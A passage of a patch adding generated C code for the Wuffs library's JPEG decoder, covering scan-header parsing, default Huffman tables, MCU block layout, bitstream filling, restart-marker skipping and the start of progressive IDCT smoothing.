self->private_impl.f_scan_comps_cselector[v_j]) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ v_j += 1u; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if ((((uint8_t)(v_c8 >> 4u)) > 3u) || (((uint8_t)(v_c8 & 15u)) > 3u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ self->private_impl.f_scan_comps_td[v_i] = ((uint8_t)(v_c8 >> 4u)); -+ self->private_impl.f_scan_comps_ta[v_i] = ((uint8_t)(v_c8 & 15u)); -+ if (self->private_impl.f_sof_marker == 192u) { -+ if ((self->private_impl.f_scan_comps_td[v_i] > 1u) || (self->private_impl.f_scan_comps_ta[v_i] > 1u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ } -+ v_i += 1u; -+ } -+ if (self->private_impl.f_scan_count == 0u) { -+ self->private_impl.f_expect_multiple_scans = ((self->private_impl.f_sof_marker >= 194u) || (self->private_impl.f_scan_num_components < self->private_impl.f_num_components)); -+ } -+ if (self->private_impl.f_sof_marker < 194u) { -+ self->private_data.s_prepare_scan.scratch = 3u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (self->private_data.s_prepare_scan.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_prepare_scan.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_prepare_scan.scratch; -+ self->private_impl.f_scan_ss = 0u; -+ self->private_impl.f_scan_se = 63u; -+ self->private_impl.f_scan_ah = 0u; -+ self->private_impl.f_scan_al = 0u; -+ } else { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if (v_c8 > 63u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ self->private_impl.f_scan_ss = v_c8; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ if ((v_c8 > 63u) || (v_c8 < self->private_impl.f_scan_ss)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ self->private_impl.f_scan_se = v_c8; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; -+ } -+ if ((((uint8_t)(v_c8 >> 4u)) > 14u) || (((uint8_t)(v_c8 & 15u)) > 13u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ self->private_impl.f_scan_ah = ((uint8_t)(v_c8 >> 4u)); -+ self->private_impl.f_scan_al = ((uint8_t)(v_c8 & 15u)); -+ if (self->private_impl.f_scan_ah > 0u) { -+ if (((uint8_t)(self->private_impl.f_scan_ah - 1u)) != self->private_impl.f_scan_al) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ } -+ if (self->private_impl.f_scan_ss == 0u) { -+ if (self->private_impl.f_scan_se != 0u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } else if (self->private_impl.f_scan_ah == 0u) { -+ self->private_impl.choosy_decode_mcu = ( -+ &wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits); -+ } else { -+ self->private_impl.choosy_decode_mcu = ( -+ &wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit); -+ } -+ } else { -+ if (self->private_impl.f_scan_num_components != 1u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } else if (self->private_impl.f_scan_ah == 0u) { -+ self->private_impl.choosy_decode_mcu = ( -+ &wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits); -+ } else { -+ self->private_impl.choosy_decode_mcu = ( -+ &wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit); -+ } -+ } -+ } -+ v_i = 0u; -+ while (v_i < self->private_impl.f_scan_num_components) { -+ if ((self->private_impl.f_scan_ss == 0u) && ! self->private_impl.f_seen_dht[((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_i]))]) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ status = wuffs_jpeg__decoder__use_default_huffman_table(self, ((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_i]))); -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ if ((self->private_impl.f_scan_se != 0u) && ! self->private_impl.f_seen_dht[((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_i]))]) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_jpeg__decoder__use_default_huffman_table(self, ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_i]))); -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ v_j = ((uint32_t)(self->private_impl.f_scan_ss)); -+ v_j_max_incl = ((uint32_t)(wuffs_base__u8__min(self->private_impl.f_scan_se, 9u))); -+ while (v_j <= v_j_max_incl) { -+ self->private_impl.f_block_smoothing_lowest_scan_al[self->private_impl.f_scan_comps_cselector[v_i]][v_j] = self->private_impl.f_scan_al; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ if (self->private_impl.f_scan_num_components == 1u) { -+ wuffs_jpeg__decoder__calculate_single_component_scan_fields(self); -+ } else { -+ v_failed = wuffs_jpeg__decoder__calculate_multiple_component_scan_fields(self); -+ if (v_failed) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sos_marker); -+ goto exit; -+ } -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_prepare_scan = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_prepare_scan = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_prepare_scan.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.use_default_huffman_table -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__use_default_huffman_table( -+ wuffs_jpeg__decoder* self, -+ uint8_t a_tc4_th) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__slice_u8 v_data = {0}; -+ wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_r = &u_r; -+ const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ if (a_tc4_th == 0u) { -+ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_LUMA), 29); -+ } else if (a_tc4_th == 1u) { -+ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_DC_CHROMA), 29); -+ } else if (a_tc4_th == 4u) { -+ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_LUMA), 179); -+ } else if (a_tc4_th == 5u) { -+ v_data = wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_JPEG__DEFAULT_HUFF_TABLE_AC_CHROMA), 179); -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__missing_huffman_table); -+ goto exit; -+ } -+ { -+ wuffs_base__io_buffer* o_0_v_r = v_r; -+ const uint8_t* o_0_iop_v_r = iop_v_r; -+ const uint8_t* o_0_io0_v_r = io0_v_r; -+ const uint8_t* o_0_io1_v_r = io1_v_r; -+ const uint8_t* o_0_io2_v_r = io2_v_r; -+ v_r = wuffs_private_impl__io_reader__set( -+ &u_r, -+ &iop_v_r, -+ &io0_v_r, -+ &io1_v_r, -+ &io2_v_r, -+ v_data, -+ 0u); -+ self->private_impl.f_payload_length = ((uint32_t)((((uint64_t)(v_data.len)) & 65535u))); -+ { -+ wuffs_base__status t_0 = wuffs_jpeg__decoder__decode_dht(self, v_r); -+ v_status = t_0; -+ } -+ v_r = o_0_v_r; -+ iop_v_r = o_0_iop_v_r; -+ io0_v_r = o_0_io0_v_r; -+ io1_v_r = o_0_io1_v_r; -+ io2_v_r = o_0_io2_v_r; -+ } -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ -+ ok: -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func jpeg.decoder.calculate_single_component_scan_fields -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__calculate_single_component_scan_fields( -+ wuffs_jpeg__decoder* self) { -+ uint8_t v_csel = 0; -+ -+ self->private_impl.f_scan_comps_bx_offset[0u] = 0u; -+ self->private_impl.f_scan_comps_by_offset[0u] = 0u; -+ self->private_impl.f_mcu_num_blocks = 1u; -+ self->private_impl.f_mcu_blocks_sselector[0u] = 0u; -+ v_csel = self->private_impl.f_scan_comps_cselector[0u]; -+ self->private_impl.f_mcu_blocks_offset[0u] = self->private_impl.f_components_workbuf_offsets[v_csel]; -+ self->private_impl.f_mcu_blocks_mx_mul[0u] = 8u; -+ self->private_impl.f_mcu_blocks_my_mul[0u] = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); -+ self->private_impl.f_mcu_blocks_dc_hselector[0u] = ((uint8_t)(0u | self->private_impl.f_scan_comps_td[0u])); -+ self->private_impl.f_mcu_blocks_ac_hselector[0u] = ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[0u])); -+ self->private_impl.f_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); -+ self->private_impl.f_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.calculate_multiple_component_scan_fields -+ -+WUFFS_BASE__GENERATED_C_CODE -+static bool -+wuffs_jpeg__decoder__calculate_multiple_component_scan_fields( -+ wuffs_jpeg__decoder* self) { -+ uint32_t v_i = 0; -+ uint32_t v_h = 0; -+ uint32_t v_v = 0; -+ uint32_t v_hv = 0; -+ uint32_t v_total_hv = 0; -+ uint32_t v_b = 0; -+ uint32_t v_bx_offset = 0; -+ uint32_t v_by_offset = 0; -+ uint32_t v_sibo = 0; -+ uint8_t v_ssel = 0; -+ uint8_t v_csel = 0; -+ -+ v_total_hv = 0u; -+ v_i = 0u; -+ v_b = 0u; -+ v_bx_offset = 0u; -+ v_by_offset = 0u; -+ while (v_i < self->private_impl.f_scan_num_components) { -+ v_h = ((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])); -+ v_v = ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]])); -+ v_hv = (((uint32_t)(self->private_impl.f_components_h[self->private_impl.f_scan_comps_cselector[v_i]])) * ((uint32_t)(self->private_impl.f_components_v[self->private_impl.f_scan_comps_cselector[v_i]]))); -+ self->private_impl.f_swizzle_immediately_c_offsets[v_i] = ((uint32_t)(64u * v_total_hv)); -+ v_total_hv += v_hv; -+ while (v_hv > 0u) { -+ self->private_impl.f_scan_comps_bx_offset[(v_b & 15u)] = ((uint8_t)((v_bx_offset & 3u))); -+ self->private_impl.f_scan_comps_by_offset[(v_b & 15u)] = ((uint8_t)((v_by_offset & 3u))); -+ self->private_impl.f_mcu_blocks_sselector[(v_b & 15u)] = ((uint8_t)(v_i)); -+ v_b += 1u; -+ v_bx_offset += 1u; -+ if (v_bx_offset == v_h) { -+ v_bx_offset = 0u; -+ v_by_offset += 1u; -+ if (v_by_offset == v_v) { -+ v_by_offset = 0u; -+ } -+ } -+ v_hv -= 1u; -+ } -+ v_i += 1u; -+ } -+ if (v_total_hv > 10u) { -+ return true; -+ } -+ self->private_impl.f_mcu_num_blocks = v_total_hv; -+ self->private_impl.f_swizzle_immediately_c_offsets[self->private_impl.f_scan_num_components] = ((uint32_t)(64u * v_total_hv)); -+ v_b = 0u; -+ while (v_b < self->private_impl.f_mcu_num_blocks) { -+ v_ssel = self->private_impl.f_mcu_blocks_sselector[v_b]; -+ v_csel = self->private_impl.f_scan_comps_cselector[v_ssel]; -+ self->private_impl.f_mcu_blocks_offset[v_b] = (self->private_impl.f_components_workbuf_offsets[v_csel] + (8u * ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (8u * ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])))); -+ self->private_impl.f_mcu_blocks_mx_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_h[v_csel]))); -+ self->private_impl.f_mcu_blocks_my_mul[v_b] = (8u * ((uint32_t)(self->private_impl.f_components_v[v_csel])) * self->private_impl.f_components_workbuf_widths[v_csel]); -+ self->private_impl.f_mcu_blocks_dc_hselector[v_b] = ((uint8_t)(0u | self->private_impl.f_scan_comps_td[v_ssel])); -+ self->private_impl.f_mcu_blocks_ac_hselector[v_b] = ((uint8_t)(4u | self->private_impl.f_scan_comps_ta[v_ssel])); -+ v_sibo = ((uint32_t)(self->private_impl.f_swizzle_immediately_c_offsets[v_csel] + ((8u * ((uint32_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) + (64u * ((uint32_t)(self->private_impl.f_scan_comps_by_offset[v_b])) * ((uint32_t)(self->private_impl.f_components_h[v_csel])))))); -+ self->private_impl.f_swizzle_immediately_b_offsets[v_b] = wuffs_base__u32__min(v_sibo, 576u); -+ v_b += 1u; -+ } -+ self->private_impl.f_scan_width_in_mcus = self->private_impl.f_width_in_mcus; -+ self->private_impl.f_scan_height_in_mcus = self->private_impl.f_height_in_mcus; -+ return false; -+} -+ -+// -------- func jpeg.decoder.fill_bitstream -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__fill_bitstream( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ uint32_t v_wi = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_new_wi = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ if (self->private_impl.f_bitstream_ri <= 0u) { -+ } else if (self->private_impl.f_bitstream_ri >= self->private_impl.f_bitstream_wi) { -+ self->private_impl.f_bitstream_ri = 0u; -+ self->private_impl.f_bitstream_wi = 0u; -+ } else { -+ v_wi = (self->private_impl.f_bitstream_wi - self->private_impl.f_bitstream_ri); -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_bitstream_buffer, 2048), wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -+ self->private_impl.f_bitstream_ri, -+ self->private_impl.f_bitstream_wi)); -+ self->private_impl.f_bitstream_ri = 0u; -+ self->private_impl.f_bitstream_wi = v_wi; -+ } -+ v_wi = self->private_impl.f_bitstream_wi; -+ while ((v_wi < 2048u) && (((uint64_t)(io2_a_src - iop_a_src)) > 0u)) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ if (v_c8 < 255u) { -+ self->private_data.f_bitstream_buffer[v_wi] = v_c8; -+ v_wi += 1u; -+ iop_a_src += 1u; -+ continue; -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { -+ break; -+ } else if (((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)) > 0u) { -+ break; -+ } else { -+ self->private_data.f_bitstream_buffer[v_wi] = 255u; -+ v_wi += 1u; -+ iop_a_src += 2u; -+ } -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) > 1u) { -+ if ((wuffs_base__peek_u8be__no_bounds_check(iop_a_src) >= 255u) && (((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)) > 0u)) { -+ v_new_wi = (wuffs_base__u32__min(v_wi, 1784u) + 264u); -+ v_new_wi = wuffs_base__u32__min(v_new_wi, (v_wi + self->private_impl.f_bitstream_padding)); -+ if (v_wi < v_new_wi) { -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_bitstream_padding, (v_new_wi - v_wi)); -+ wuffs_private_impl__bulk_memset(&self->private_data.f_bitstream_buffer[v_wi], (v_new_wi - v_wi), 0u); -+ v_wi = v_new_wi; -+ } -+ } -+ } -+ self->private_impl.f_bitstream_wi = v_wi; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.load_mcu_blocks_for_single_component -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__load_mcu_blocks_for_single_component( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_mx, -+ uint32_t a_my, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_csel) { -+ return (*self->private_impl.choosy_load_mcu_blocks_for_single_component)(self, a_mx, a_my, a_workbuf, a_csel); -+} -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_mx, -+ uint32_t a_my, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t a_csel) { -+ uint64_t v_stride16 = 0; -+ uint64_t v_offset = 0; -+ -+ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); -+ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -+ } -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.load_mcu_blocks -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__load_mcu_blocks( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_mx, -+ uint32_t a_my, -+ wuffs_base__slice_u8 a_workbuf) { -+ uint32_t v_b = 0; -+ uint8_t v_csel = 0; -+ uint64_t v_h = 0; -+ uint64_t v_v = 0; -+ uint64_t v_stride16 = 0; -+ uint64_t v_offset = 0; -+ -+ v_h = 1u; -+ v_v = 1u; -+ v_b = 0u; -+ while (v_b < self->private_impl.f_mcu_num_blocks) { -+ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; -+ if (self->private_impl.f_scan_num_components > 1u) { -+ v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); -+ v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); -+ } -+ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); -+ v_offset = (self->private_impl.f_components_workbuf_offsets[((uint8_t)(v_csel | 4u))] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -+ } -+ v_b += 1u; -+ } -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.save_mcu_blocks -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__save_mcu_blocks( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_mx, -+ uint32_t a_my, -+ wuffs_base__slice_u8 a_workbuf) { -+ uint32_t v_b = 0; -+ uint8_t v_csel = 0; -+ uint64_t v_h = 0; -+ uint64_t v_v = 0; -+ uint64_t v_stride16 = 0; -+ uint64_t v_offset = 0; -+ -+ v_h = 1u; -+ v_v = 1u; -+ v_b = 0u; -+ while (v_b < self->private_impl.f_mcu_num_blocks) { -+ v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; -+ if (self->private_impl.f_scan_num_components > 1u) { -+ v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); -+ v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); -+ } -+ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); -+ v_offset = (self->private_impl.f_components_workbuf_offsets[((uint8_t)(v_csel | 4u))] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); -+ if (v_offset <= ((uint64_t)(a_workbuf.len))) { -+ wuffs_private_impl__bulk_save_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); -+ } -+ v_b += 1u; -+ } -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.skip_past_the_next_restart_marker -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__skip_past_the_next_restart_marker( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_skip_past_the_next_restart_marker; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ continue; -+ } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) < 255u) { -+ iop_a_src += 1u; -+ continue; -+ } -+ v_c8 = ((uint8_t)(((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)))); -+ if (v_c8 < 192u) { -+ iop_a_src += 2u; -+ continue; -+ } else if ((v_c8 < 208u) || (215u < v_c8)) { -+ break; -+ } -+ v_c8 &= 7u; -+ if ((self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 1u)) & 7u))) || (self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 2u)) & 7u)))) { -+ break; -+ } else if ((self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 7u)) & 7u))) || (self->private_impl.f_next_restart_marker == ((uint8_t)(((uint8_t)(v_c8 + 6u)) & 7u)))) { -+ iop_a_src += 2u; -+ continue; -+ } else { -+ iop_a_src += 2u; -+ break; -+ } -+ } -+ self->private_impl.f_next_restart_marker = ((uint8_t)(((uint8_t)(self->private_impl.f_next_restart_marker + 1u)) & 7u)); -+ -+ ok: -+ self->private_impl.p_skip_past_the_next_restart_marker = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_skip_past_the_next_restart_marker = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.apply_progressive_idct -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__apply_progressive_idct( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__slice_u8 a_workbuf) { -+ uint32_t v_csel = 0; -+ bool v_block_smoothing_applicable = false; -+ uint32_t v_scan_width_in_mcus = 0; -+ uint32_t v_scan_height_in_mcus = 0; -+ uint32_t v_mcu_blocks_mx_mul_0 = 0; -+ uint32_t v_mcu_blocks_my_mul_0 = 0; -+ uint32_t v_my = 0; -+ uint32_t v_mx = 0; -+ uint64_t v_stride = 0; -+ uint64_t v_offset = 0; -+ uint8_t v_stashed_mcu_blocks_0[128] = {0}; -+ -+ wuffs_private_impl__bulk_save_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); -+ v_block_smoothing_applicable = true; -+ v_csel = 0u; -+ while (v_csel < self->private_impl.f_num_components) { -+ if ((self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][0u] >= 16u) || wuffs_jpeg__decoder__top_left_quants_has_zero(self, ((uint32_t)(self->private_impl.f_components_tq[v_csel])))) { -+ v_block_smoothing_applicable = false; -+ } -+ v_csel += 1u; -+ } -+ v_csel = 0u; -+ while (v_csel < self->private_impl.f_num_components) { -+ v_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); -+ v_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); -+ v_mcu_blocks_mx_mul_0 = 8u; -+ v_mcu_blocks_my_mul_0 = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); -+ if (v_block_smoothing_applicable && (0u != (self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][1u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][2u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][3u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][4u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][5u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][6u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][9u]))) { -+ self->private_impl.choosy_load_mcu_blocks_for_single_component = ( -+ &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth); -+ self->private_impl.f_block_smoothing_mx_max_incl = wuffs_base__u32__sat_sub(v_scan_width_in_mcus, 1u); -+ self->private_impl.f_block_smoothing_my_max_incl = 